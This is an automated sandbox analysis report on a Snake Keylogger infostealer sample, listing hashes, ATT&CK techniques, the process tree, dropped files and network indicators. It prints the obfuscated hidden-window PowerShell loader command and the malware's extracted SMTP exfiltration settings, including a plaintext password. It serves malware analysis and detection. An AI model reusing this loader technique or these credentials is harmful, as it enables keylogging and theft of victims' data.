snakekeylogger | f8b3078e40bcfcd0c464054ab5d942bff72aa8c27aa6cf9838dd2daaac854caa

Analysis

max time kernel
147s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07-11-2024 15:35

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General

Target

f8b3078e40bcfcd0c464054ab5d942bff72aa8c27aa6cf9838dd2daaac854caa.exe
Size

774KB
MD5

35a14ec5e93e8606051d692c0510b4b2
SHA1

58ffd63f713bf54c45237f3012cc92f624966376
SHA256

f8b3078e40bcfcd0c464054ab5d942bff72aa8c27aa6cf9838dd2daaac854caa
SHA512

a2d1173236b20a717d9ea402fd29540ce9ac002d49421d8343c34e7e63d5fcd8c9a3419ed130c677ac380b0a571cb7db23d6601cee19cc321045c0c035795c3c
SSDEEP

12288:tPVXv0yQ9TUH2pKvC7oh/dDVJnvpeBWIbyuwQL3OWntl81tTTZ/Oi5DwFyEionDs:NnnHLC2dfvpk5yRQLvf81BV2m6ionDu3

Score

10^/10

snakekeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.tumteks.com
Port:
587
Username:
[email protected]
Password:
Tt36556300Ss.
Email To:
[email protected]

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral2/memory/4596-85-0x00000000008D0000-0x0000000001B24000-memory.dmp	family_snakekeylogger
behavioral2/memory/4596-86-0x00000000008D0000-0x00000000008F6000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
400	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 7 IoCs

flow	pid	Process
19	4596	msiexec.exe
25	4596	msiexec.exe
29	4596	msiexec.exe
32	4596	msiexec.exe
35	4596	msiexec.exe
48	4596	msiexec.exe
50	4596	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
18	drive.google.com
19	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
47	checkip.dyndns.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\folkepensionsaldres\frostbiter.ini	f8b3078e40bcfcd0c464054ab5d942bff72aa8c27aa6cf9838dd2daaac854caa.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4596	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
400	powershell.exe
4596	msiexec.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Levitters.lnk	f8b3078e40bcfcd0c464054ab5d942bff72aa8c27aa6cf9838dd2daaac854caa.exe
File opened for modification	C:\Windows\Levitters.lnk	f8b3078e40bcfcd0c464054ab5d942bff72aa8c27aa6cf9838dd2daaac854caa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f8b3078e40bcfcd0c464054ab5d942bff72aa8c27aa6cf9838dd2daaac854caa.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
400	powershell.exe
400	powershell.exe
400	powershell.exe
400	powershell.exe
400	powershell.exe
400	powershell.exe
400	powershell.exe
400	powershell.exe
400	powershell.exe
4596	msiexec.exe
4596	msiexec.exe
4596	msiexec.exe
4596	msiexec.exe
4596	msiexec.exe
4596	msiexec.exe
4596	msiexec.exe
4596	msiexec.exe
4596	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
400	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	400	powershell.exe
Token: SeIncreaseQuotaPrivilege	400	powershell.exe
Token: SeSecurityPrivilege	400	powershell.exe
Token: SeTakeOwnershipPrivilege	400	powershell.exe
Token: SeLoadDriverPrivilege	400	powershell.exe
Token: SeSystemProfilePrivilege	400	powershell.exe
Token: SeSystemtimePrivilege	400	powershell.exe
Token: SeProfSingleProcessPrivilege	400	powershell.exe
Token: SeIncBasePriorityPrivilege	400	powershell.exe
Token: SeCreatePagefilePrivilege	400	powershell.exe
Token: SeBackupPrivilege	400	powershell.exe
Token: SeRestorePrivilege	400	powershell.exe
Token: SeShutdownPrivilege	400	powershell.exe
Token: SeDebugPrivilege	400	powershell.exe
Token: SeSystemEnvironmentPrivilege	400	powershell.exe
Token: SeRemoteShutdownPrivilege	400	powershell.exe
Token: SeUndockPrivilege	400	powershell.exe
Token: SeManageVolumePrivilege	400	powershell.exe
Token: 33	400	powershell.exe
Token: 34	400	powershell.exe
Token: 35	400	powershell.exe
Token: 36	400	powershell.exe
Token: SeDebugPrivilege	4596	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 400	2532	f8b3078e40bcfcd0c464054ab5d942bff72aa8c27aa6cf9838dd2daaac854caa.exe	86
PID 2532 wrote to memory of 400	2532	f8b3078e40bcfcd0c464054ab5d942bff72aa8c27aa6cf9838dd2daaac854caa.exe	86
PID 2532 wrote to memory of 400	2532	f8b3078e40bcfcd0c464054ab5d942bff72aa8c27aa6cf9838dd2daaac854caa.exe	86
PID 400 wrote to memory of 4596	400	powershell.exe	96
PID 400 wrote to memory of 4596	400	powershell.exe	96
PID 400 wrote to memory of 4596	400	powershell.exe	96
PID 400 wrote to memory of 4596	400	powershell.exe	96

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\f8b3078e40bcfcd0c464054ab5d942bff72aa8c27aa6cf9838dd2daaac854caa.exe
"C:\Users\Admin\AppData\Local\Temp\f8b3078e40bcfcd0c464054ab5d942bff72aa8c27aa6cf9838dd2daaac854caa.exe"
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Noontimes=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\Stragglier\Saccate\Chiriguano.Ski';$Microbiologies=$Noontimes.SubString(1626,3);.$Microbiologies($Noontimes)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:4596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Stragglier\Saccate\Chiriguano.Ski

Filesize
51KB

MD5
6c30e6cb99e14b8e5446a9a5726167ed

SHA1
01d799ef731cf409d29a51696fd3380b296f8730

SHA256
3a0443fe99e0be036a5747d6c6a4a0202f5f55ffb8a338af90f829d8bbf5d5f6

SHA512
39358a6fa774429954c0a599f55685608220eabeef19b6c9be1040169b65577d51c9306d537a248779a79b092e820fef7e9ee4f256297434c3677be7f75b8696

Download Submit
C:\Users\Admin\AppData\Local\Temp\Stragglier\amygdalitis.Rem184

Filesize
328KB

MD5
49d659dc3c416ef5016e54e9a9b3edfe

SHA1
ce1c6fe94054467e3ed5610ddc591cbb3710e3bd

SHA256
8bc8af28e11196deeed84804a906cc3fa3b15c50ec39a3532691cb6ad801c82b

SHA512
c0d52d76bb3aa55ffc804afce470edbe716029eec01e55acec09b925e83f4682dec5bf6125ae5cc177373c1f05179ed4a3be4f099721f10f3bdf89f6d7c9c15b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t0poqhw5.0o5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/400-55-0x0000000007600000-0x00000000076A3000-memory.dmp

Filesize
652KB

Download
memory/400-69-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/400-19-0x0000000005290000-0x00000000052B2000-memory.dmp

Filesize
136KB

Download
memory/400-56-0x0000000007720000-0x000000000772A000-memory.dmp

Filesize
40KB

Download
memory/400-20-0x0000000005AA0000-0x0000000005B06000-memory.dmp

Filesize
408KB

Download
memory/400-24-0x0000000005B80000-0x0000000005ED4000-memory.dmp

Filesize
3.3MB

Download
memory/400-16-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/400-32-0x0000000006160000-0x000000000617E000-memory.dmp

Filesize
120KB

Download
memory/400-33-0x00000000061A0000-0x00000000061EC000-memory.dmp

Filesize
304KB

Download
memory/400-34-0x00000000066F0000-0x0000000006786000-memory.dmp

Filesize
600KB

Download
memory/400-35-0x0000000006670000-0x000000000668A000-memory.dmp

Filesize
104KB

Download
memory/400-36-0x00000000066C0000-0x00000000066E2000-memory.dmp

Filesize
136KB

Download
memory/400-37-0x00000000079C0000-0x0000000007F64000-memory.dmp

Filesize
5.6MB

Download
memory/400-17-0x00000000052D0000-0x00000000058F8000-memory.dmp

Filesize
6.2MB

Download
memory/400-39-0x00000000085F0000-0x0000000008C6A000-memory.dmp

Filesize
6.5MB

Download
memory/400-42-0x0000000070280000-0x00000000702CC000-memory.dmp

Filesize
304KB

Download
memory/400-41-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/400-58-0x00000000078D0000-0x00000000078F4000-memory.dmp

Filesize
144KB

Download
memory/400-43-0x0000000070A00000-0x0000000070D54000-memory.dmp

Filesize
3.3MB

Download
memory/400-54-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/400-53-0x0000000007590000-0x00000000075AE000-memory.dmp

Filesize
120KB

Download
memory/400-14-0x0000000073E0E000-0x0000000073E0F000-memory.dmp

Filesize
4KB

Download
memory/400-21-0x0000000005B10000-0x0000000005B76000-memory.dmp

Filesize
408KB

Download
memory/400-57-0x00000000078A0000-0x00000000078CA000-memory.dmp

Filesize
168KB

Download
memory/400-40-0x00000000075B0000-0x00000000075E2000-memory.dmp

Filesize
200KB

Download
memory/400-59-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/400-61-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/400-15-0x0000000004BC0000-0x0000000004BF6000-memory.dmp

Filesize
216KB

Download
memory/400-63-0x0000000073E0E000-0x0000000073E0F000-memory.dmp

Filesize
4KB

Download
memory/400-64-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/400-65-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/400-67-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/400-66-0x0000000008C70000-0x000000000BDAB000-memory.dmp

Filesize
49.2MB

Download
memory/400-68-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/400-18-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/400-70-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/400-71-0x0000000073E00000-0x00000000745B0000-memory.dmp

Filesize
7.7MB

Download
memory/4596-81-0x00000000008D0000-0x0000000001B24000-memory.dmp

Filesize
18.3MB

Download
memory/4596-85-0x00000000008D0000-0x0000000001B24000-memory.dmp

Filesize
18.3MB

Download
memory/4596-86-0x00000000008D0000-0x00000000008F6000-memory.dmp

Filesize
152KB

Download
memory/4596-87-0x0000000022760000-0x00000000227FC000-memory.dmp

Filesize
624KB

Download
memory/4596-89-0x0000000022B70000-0x0000000022BC0000-memory.dmp

Filesize
320KB

Download
memory/4596-90-0x00000000233F0000-0x00000000235B2000-memory.dmp

Filesize
1.8MB

Download
memory/4596-91-0x0000000023220000-0x00000000232B2000-memory.dmp

Filesize
584KB

Download
memory/4596-92-0x0000000022C00000-0x0000000022C0A000-memory.dmp

Filesize
40KB

Download